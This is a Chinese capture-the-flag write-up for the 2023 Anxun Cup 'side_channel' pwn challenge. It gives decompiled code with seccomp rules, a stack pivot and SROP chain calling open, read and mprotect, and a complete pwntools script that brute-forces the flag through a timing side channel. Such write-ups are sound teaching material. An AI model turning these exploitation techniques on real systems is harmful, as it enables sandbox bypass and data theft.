2023 安洵杯-PWN-【side_channel】

文章目录

  • side_channel libc 2.37
  • 检查
  • IDA源码
  • 思路
    • 选择合适的syscall的gadget
    • 寻找可写入shellcode的内存区间
    • mprotect()修改属性
  • exp

side_channel libc 2.37

检查

在这里插入图片描述
禁用了write,能用open和read和mprotect

IDA源码

__int64 __fastcall main(int a1, char **a2, char **a3)
{sub_401448();sub_40136E();return 0LL;
}
int sub_401448()
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);return setvbuf(stderr, 0LL, 2, 0LL);
}
__int64 sub_40136E()
{char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF_QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREFv2[0] = 0x6F6E6B2075206F44LL;v2[1] = 0x6920746168772077LL;v2[2] = 0xA3F444955532073LL;strcpy(v1, "easyhack\n");syscall(1LL, 1LL, v1, 9LL);syscall(0LL, 0LL, &unk_404060, 4096LL);syscall(1LL, 1LL, v2, 24LL);sub_40119E();syscall(0LL, 0LL, v1, 58LL);return 0LL;
}
__int64 sub_40119E()
{__int64 result; // rax__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);if ( !v1 ){perror("seccomp_init");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 90LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 231LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 15LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}if ( (int)seccomp_rule_add(v1, 2147418112LL, 10LL, 0LL) < 0 ){perror("seccomp_rule_add");exit(1);}result = seccomp_load(v1);if ( (int)result < 0 ){perror("seccomp_load");exit(1);}return result;
}

思路

和上题差不多,但需要测信道爆破和mprotect修改内存段属性
通过栈迁移到bss上去,然后通过SROP依次调用open,read,mprotect,shellcode
使用完mprotect后,即syscall完后pop rbp,ret,此时ret时的栈顶为shellcode在bss上的地址

选择合适的syscall的gadget

使用ROPgadget没有找到
但是查看IDA中却有,算作一个教训吧
在这里插入图片描述

寻找可写入shellcode的内存区间

写入并执行shellcode,那么意味着该区间需要w和x,观察全部,发现没有符合的,此时需要修改内存段的权限才行
在这里插入图片描述

mprotect()修改属性

mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

注意这里start要为某页的起始地址,len需要为页大小的整数倍

注意即使原来属性有 PROT_READ和 PROT_WRITE,当使用mprotect时参数如果为PROT_EXEC,那么将只存在PROT_EXEC属性,如果此时有访问或者写的操作将会引发异常
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

  • PROT_READ:表示内存段内的内容可写;

  • PROT_WRITE:表示内存段内的内容可读;

  • PROT_EXEC:表示内存段中的内容可执行;

  • PROT_NONE:表示内存段中的内容根本没法访问。

需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。

如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:

1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。

2)EINVAL

start 不是一个有效的指针,指向的不是某个内存页的开头。

3)ENOMEM

内核内部的结构体无法分配。

4)ENOMEM

进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。

如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。

exp

注意flag为“”与字符相加时才可以通过print输出字符,flag为0与字符相加时不会输出

from pwn import*
context(os="linux",arch="amd64")#gdb.attach(f, "b main")
flag=""
for one in range(0,40):for two in range(0x20,0x80):try:f=process("./chall")# 创建了一个进程leave_ret=0x401446bss=0x404060mov_rax_0xf=0x0000000000401193syscall_pop_rbp_ret=0x000000000040118Afram_open=SigreturnFrame()fram_open.rax=constants.SYS_openfram_open.rdi=bssfram_open.rsi=constants.O_RDONLYfram_open.rip=syscall_pop_rbp_retfram_open.rsp=bss+248+16+8fram_read=SigreturnFrame()fram_read.rax=constants.SYS_readfram_read.rdi=3fram_read.rsi=bssfram_read.rdx=40fram_read.rip=syscall_pop_rbp_retfram_read.rsp=bss+248+16+248+16+16shellcode='''loop:cmp byte ptr[0x404060+{0}], {1}jz loop'''.format(one,two)shellcode_address=bss+248+16+248+16+16+24+248+16fram_mprotect=SigreturnFrame()fram_mprotect.rax=constants.SYS_mprotectfram_mprotect.rdi=0x404000  #为页的起始地址fram_mprotect.rsi=0x1000fram_mprotect.rdx=constants.PROT_EXEC|constants.PROT_READ|constants.PROT_WRITEfram_mprotect.rip=syscall_pop_rbp_retfram_mprotect.rsp=bss+248+16+248+16+16+24+248payload1=b"./flag"+2*b"\x00"+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_open)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_read)+p64(0)+p64(mov_rax_0xf)+p64(syscall_pop_rbp_ret)+bytes(fram_mprotect)+p64(0)+p64(shellcode_address)+asm(shellcode)f.sendlineafter(b"easyhack\n",payload1)payload2=0x2a*b"a"+p64(bss)+p64(leave_ret)f.sendlineafter(b"Do u know what is SUID?\n",payload2)f.recv(timeout=1)f.close()flag=flag+chr(two)print("flag:",flag)one=one+1breakexcept:passf.close()# 不关闭导致运行的进程过多而停止two=two+1

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2813817.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

第三章-Mybatis源码解析-以xml方式走流程-mapper解析(一)

讲解前&#xff0c;我们先思考几个问题&#xff1a; 1、谁来解析&#xff1f; 2、用什么解析&#xff1f; 3、解析成什么&#xff1f; 4、解析结果如何存放&#xff1f; 5、最终用途&#xff1f; 那么&#xff0c;我们顺着上面几个问题来解读源码。 3.1 XMLMapperBuilde…

人工智能、机器学习和生成式人工智能之间有什么区别?

文 | BFT机器人 在这个数字的智能时代&#xff0c;大家对人工智能、机器学习和生成式人工智能这些名词字眼很熟悉&#xff0c;有些人或许对它们还有一些了解&#xff0c;但是当他们一起出现的时候&#xff0c;大家能够区别它们是什么意思吗&#xff1f;今天小编将带你们详细解…

Ainx框架基础路由模块

&#x1f4d5;作者简介&#xff1a; 过去日记&#xff0c;致力于Java、GoLang,Rust等多种编程语言&#xff0c;热爱技术&#xff0c;喜欢游戏的博主。 &#x1f4d7;本文收录于Ainx系列&#xff0c;大家有兴趣的可以看一看 &#x1f4d8;相关专栏Rust初阶教程、go语言基础系列…

Vue 3, TypeScript 和 Element UI Plus:前端开发的高级技巧与最佳实践

Vue 3、TypeScript 和 Element UI Plus 结合使用时&#xff0c;可以提供一个强大且灵活的前端开发环境。以下是一些高级用法和技巧&#xff0c;帮助你更有效地使用这些技术&#xff1a; 1. Vue 3 高级特性 Composition API 使用 setup 函数: Vue 3 引入了 Composition API&am…

Linux内核队列queue.h

文章目录 一、简介二、SLIST单向无尾链表2.1 介绍2.2 操作2.3 例子 三、STAILQ单向有尾链表四、LIST双向无尾链表五、TAILQ双向有尾链表六、CIRCLEQ循环链表七、queue源码参考 一、简介 queue.h是一个非常经典的文件&#xff0c;定义了一系列宏的操作&#xff0c;它定义了一系…

MWC 2024丨美格智能推出5G RedCap系列FWA解决方案,开启5G轻量化新天地

2月27日&#xff0c;在MWC 2024世界移动通信大会上&#xff0c;美格智能正式推出5G RedCap系列FWA解决方案。此系列解决方案具有低功耗、低成本等优势&#xff0c;可以显著降低5G应用复杂度&#xff0c;快速实现5G网络接入&#xff0c;提升FWA部署的经济效益。 RedCap技术带来了…

leetcode 2.27

leetcode hot 100 哈希1.字母异位词分组2.最长连续序列 双指针1.盛最多水的容器2.和为 K 的子数组 数组1.除自身以外数组的乘积 哈希 1.字母异位词分组 49. 字母异位词分组 方法一&#xff1a;排序 由于互为字母异位词的两个字符串包含的字母相同&#xff0c;因此对两个字符…

Python入门到精通(九)——Python数据可视化

Python数据可视化 一、JSON数据格式 1、定义 2、python数据和JSON数据转换 二、pyecharts 三、折线图 四、地图 五、动态柱状图 一、JSON数据格式 1、定义 JSON是一种轻量级的数据交互格式。可以按照JSON指定的格式去组织和封装数据JSON本质上是一个带有特定格式的字符…

vue项目从后端下载文件显示进度条或者loading

//API接口 export const exportDownload (params?: Object, peCallback?: Function) > {return new Promise((resolve, reject) > {axios({method: get,url: ,headers: {access_token: ${getToken()},},responseType: blob,params,onDownloadProgress: (pe) > {peC…

数据结构2月21日

双向链表: func函数&#xff1a; #include <stdio.h> #include <stdlib.h> …

数据分析-Pandas数据探查初步:离散点图

数据分析-Pandas数据探查初步&#xff1a;离散点图 数据分析和处理中&#xff0c;难免会遇到各种数据&#xff0c;那么数据呈现怎样的规律呢&#xff1f;不管金融数据&#xff0c;风控数据&#xff0c;营销数据等等&#xff0c;莫不如此。如何通过图示展示数据的规律&#xff…

若依前后端分离版开源项目学习

前言&#xff1a;vscode中vue代码没有高亮显示&#xff0c;可以下载vetur插件解决&#xff0c;ctrl点击无法跳转函数定义问题&#xff0c;可以下载vue-helper插件解决&#xff1b;idea中ctrl点击函数即可跳转函数定义。 一、登录 1.生成验证码 基本思路&#xff1a; 后端生…

基于HT32的智能家居demo(蓝牙上位机)

参加合泰杯作品的部分展示&#xff0c;基于HT32的智能家居&#xff0c;这里展示灯光的相关控制&#xff0c;是用蓝牙进行的数据透传&#xff0c;参考了一些资料&#xff0c;美化封装了一下之前的上位机界面。 成果展示 点击主界面的蓝牙设置&#xff0c;进行连接&#xff0c;下…

【推荐算法系列六】WideDeep模型

文章目录 参考资料 模型结构模型的记忆能力模型的泛化能力问题 参考资料 见微知著&#xff0c;你真的搞懂Google的Wide&Deep模型了吗&#xff1f;keras实现的代码参考 模型结构 它是由左侧的 Wide 部分和右侧的 Deep 部分组成的。Wide 部分的结构太简单了&#xff0c;就是…

Eslint在Vscode中使用技巧的相关技巧

ps :该文章会详细结论构建一个脚手架遇到的问题&#xff0c;会持续更新&#xff0c;请定时查看 Eslint相关​ 在vscode中使用eslint插件 在vscode中用户配置没有开启eslint.enable 在vscode中工作区配置开启eslint.enable settings.json中没有做eslint相关配置 在编写的vue…

Jenkins参数化构建项目(Git+docker部署+Python+flask项目)

目录 一、概述二、环境三、部署流程3.1 gitee上传代码3.2 jenkins配置3.2.1 Gitee配置3.2.2 SSH配置3.2.3 新建任务 3.3 执行过程3.3.1初始化构建3.3.2 重新提交代码构建 一、概述 使用Jenkins进行CI/CD自动化部署&#xff0c;参数化构建Git代码拉取&#xff0c;docker镜像打包…

开创5G无线新应用:笙科电子5.8GHz 射频芯片

笙科电子(AMICCOM) 5.8GHz A5133射频芯片是一款专门设计用于在5.8GHz频率范围内&#xff08;5725MHz - 5850MHz)进行射频信号处理的集成电路。这些集成电路通常包括各种功能模块&#xff0c;如射频前端、混合器、功率放大器、局部振荡器等&#xff0c;以支持无线通信系统的各种…

3D可视化项目,选择unity3D还是three.js,是时候挑明了。

2023-08-10 23:07贝格前端工场 Hi&#xff0c;我是贝格前端工场&#xff0c;在开发3D可视化项目中&#xff0c;是选择U3D还是three,js时&#xff0c;很多老铁非常的迷茫&#xff0c;本文给老铁们讲清楚该如何选择&#xff0c;欢迎点赞评论分享转发。 一、Unity3D和three.js简…

Android Activity启动模式

文章目录 Android Activity启动模式概述四种启动模式Intent标记二者区别 Android Activity启动模式 概述 Activity 的管理方式是任务栈。栈是先进后出的结构。 四种启动模式 启动模式说明适用场景standard标准模式默认模式&#xff0c;每次启动Activity都会创建一个新的Act…

10W 音频功率放大电路芯片TDA2003,可用于汽车收音机及收录机中作音频功率放大器,内部具有短路保护和过热保护等功能

TDA2003 用于汽车收音机及收录机中作音频功率放大器。 采用 TO220B5 封装形式。 主要特点&#xff1a; ⚫ 内部具有短路保护和过热保护。内部具有地线开路、电源极性接 反和负载泄放电压反冲等保护电路。 ⚫ 输出电流大。 ⚫ 负载电阻可低至 1.6 。 …